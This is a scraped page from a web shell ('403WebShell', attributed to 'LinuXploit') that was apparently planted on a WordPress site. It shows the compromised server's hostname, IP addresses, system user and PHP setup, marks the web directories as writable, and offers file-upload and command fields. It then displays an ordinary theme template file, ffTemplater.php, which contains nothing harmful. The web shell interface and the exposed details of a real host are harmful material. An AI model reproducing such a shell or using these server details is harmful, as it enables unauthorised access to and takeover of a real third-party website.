Uname:Linux duemilacom6.interac.it 5.10.0-28-amd64 #1 SMP Debian 5.10.209-2 (2024-01-31) x86_64

403WebShell
403Webshell
Server IP : 212.183.175.188  /  Your IP : 216.73.216.82
Web Server : nginx/1.30.4
System : Linux duemilacom6.interac.it 5.10.0-28-amd64 #1 SMP Debian 5.10.209-2 (2024-01-31) x86_64
User : cvevolpi ( 10022)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/cvevolpi.it/httpdocs/wp-content/themes/sentinel/framework/engine/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/cvevolpi.it/httpdocs/wp-content/themes/sentinel/framework/engine/ffTemplater.php
<?php
/**
 * Templater class is loading all custom made templates
 */

class ffTemplater {


//////////////////////////////////////////////////////////////////////////////
// Header
//////////////////////////////////////////////////////////////////////////////
	public static function pageTitlebar() {
		
		$titlebarType = ffWP::get('titlebar type');
		if( $titlebarType !== 'no' && $titlebarType  !== 'slider') {
			$templateNumber = str_replace( 'titlebar-', '', $titlebarType );
			get_template_part( '/templates/titlebar/titlebar' , $templateNumber );
		} else if ( $titlebarType  == 'slider' ) {
			if( wp_is_mobile() and ffWP::get('titlebar slider hide-on-mobiles') ){
				return;
			}
			get_template_part( '/templates/slider/slider', 1);
		}
	}
	
	public function getHomePage() {
		if( ffSP::get('show-page') ) {
			$pageId = ffSP::get('page id');
			query_posts('post_id='.$pageId);
		}
		//get_template_part('/templates/page/page',1);
		//var_dump( ffSP::get('page id'));
	}
	
	
	public static function gMapHeader()       { if( ffWP::get( 'gmap show' ) )
	                                            get_template_part( '/templates/titlebar/titlebar' , '3' ); }
	
	public static function getTemplate( $type, $id ) {
		get_template_part( $type, $id );
	}
	
	public static function getHeader1() {
		self::getTemplate('/templates/header/header', 1);	
	}
	
	public static function getHeader2() {
		if( ffOpt::Get('header show-header2') ) {
			self::getTemplate('/templates/header/header', 2);
		}
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit